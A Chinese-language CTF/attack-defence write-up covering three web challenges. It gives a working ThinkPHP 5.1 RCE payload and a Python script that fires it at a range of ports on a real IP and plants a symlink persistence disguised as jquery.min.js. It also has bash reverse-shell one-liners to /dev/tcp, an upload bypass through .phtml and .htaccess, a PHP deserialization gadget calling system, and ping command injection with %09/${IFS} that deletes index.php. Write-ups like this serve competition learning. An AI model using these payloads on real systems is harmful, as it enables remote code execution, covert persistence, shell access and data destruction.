本文内容:

  • ThinkPHP5.1REC
  • 任意文件上传绕过
  • system直接读flag
  • 反序列化动态命令执行
  • ping饶过过滤命令执行
  • .htaccess解析命令执行
  • 闭合注释饶过命令执行

Web1

Web1考的是ThinkPHP5.1RCE

这里直接找了Payload直接打

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=系统命令
for i in range(1, 10):
try:
requests.get("http://39.100.119.37:10{}80/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ln -s /flag ./jquery.min.js".format(str(i)))
c = requests.get("http://39.100.119.37:10{}80/jquery.min.js".format(str(i))).text
flag = preg.findall(c)[0]
print('web1:' + preg.findall(c)[0])
r = requests.post(submit_url, json={"challenge_id": 1, "submission": flag}, headers=headers).text
sum = sum + 100
time.sleep(3)
print(r)
# print('web1:'+preg.findall(c)[0])
except Exception as e:
# print(e)
pass
for i in range(10, 30):
try:
requests.get("http://39.100.119.37:1{}80/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ln -s /flag ./jquery.min.js".format(str(i)))
c = requests.get("http://39.100.119.37:1{}80/jquery.min.js".format(str(i))).text
flag = preg.findall(c)[0]
print('web1:' + preg.findall(c)[0])
r = requests.post(submit_url, json={"challenge_id": 1, "submission": flag}, headers=headers).text
sum = sum + 100
time.sleep(3)
print(r)
# print('web1:'+preg.findall(c)[0])
except Exception as e:
# print(e)
pass

这里采用了软连接的方式进行权限维持

ln -s 源文件 目标文件

这里我们把根目录下的/flag指向了当前目录下的jquery.min.js,一般而言,没人会关心一个js文件是否存在什么东西,所以可以用来伪装我们的软连接文件

本来想反弹过来,但发现

bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

死活反弹不过来,后来比赛完师傅发了新姿势

bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1"

学到了学到了,师傅tql

Web2

web2问题挺多的,这里一一枚举

文件上传

admin/upload.php文件当中存在文件上传

可以看到没过滤php5、php3、php7、phtml等等,最重要的一点是,.htaccess打错字了。。。

所以很简单,可以传phtml或者.htaccess来改后缀

system读flag

这里有两个点

admin/index.php当中

可以看到登录后有读flag命令执行

这里很迷,用admin/mysql登录不进去,用admin/admin倒是进去了,进去就可以读到flag

还有一个在login.php

访问就有flag

Web3

反序列化

/common/home.php里有个反序列化

但我前半场一直没看到,后来才发现的,估计被扬的灰都没了。。。

<?php

class home{

public $method;
public $args;
function __construct($method, $args) {


$this->method = $method;
$this->args = $args;
}

function __destruct(){
($this->method)($this->args);
}


}

$q = new home("system","cat /flag;");

echo serialize($q);

?>
O:4:"home":2:{s:6:"method";s:6:"system";s:4:"args";s:10:"cat /flag;";}

后来发现了传发过去也有问题,没反应,估计PHP版本有问题吧。。

ping命令执行

这里过滤了空格、;和|,但还是可以绕过去,用%09或者${IFS}饶过

Payload:

?1=127.0.0.1%26%26rm%%09../index.php;

先把他的主页给删了

?1=127.0.0.1%26%26ln%09-s%09/flag%09./jquery.min.js;

然后把/flag指向/common目录下的jquery.min.js文件里

然后读这个js即可

readme.md与.htaccess

readme.md下面有这么一段话,虽然不知道在哪里用

但我感觉是文件包含,就赶紧把这个删了

(后来才知道,有个.htaccess文件,当时师傅复制给我的时候漏了

AddType application/x-httpd-php .html .md

直接拿来当PHP用即可

命令闭合文件上传

index.php下有这么几段代码

跟过去看看函数

一开始不知道咋弄,但知道有问题,就删了,比赛完看了看细节

我一开始想的是通过这个方法来执行File类里的save方法,但发现他直接return True了,所以说没法利用

但我们可以靠注释和;来执行多条命令

这里我们需要找一个/lib里的类作为run_c要执行的对象

如果我们选择File类的话,run_a选择save方法的话,这里需要登录

所以这里找一个新的不需要登录就能用的函数

我们这里选择User类里的Login函数,后来发现其实只要构造方法里不需要$_SESSION的话,调用的函数不存在都可以

我们通过;作为命令分界,然后用//把后面的()注释掉就可以了

若有新的姿势将会补充……..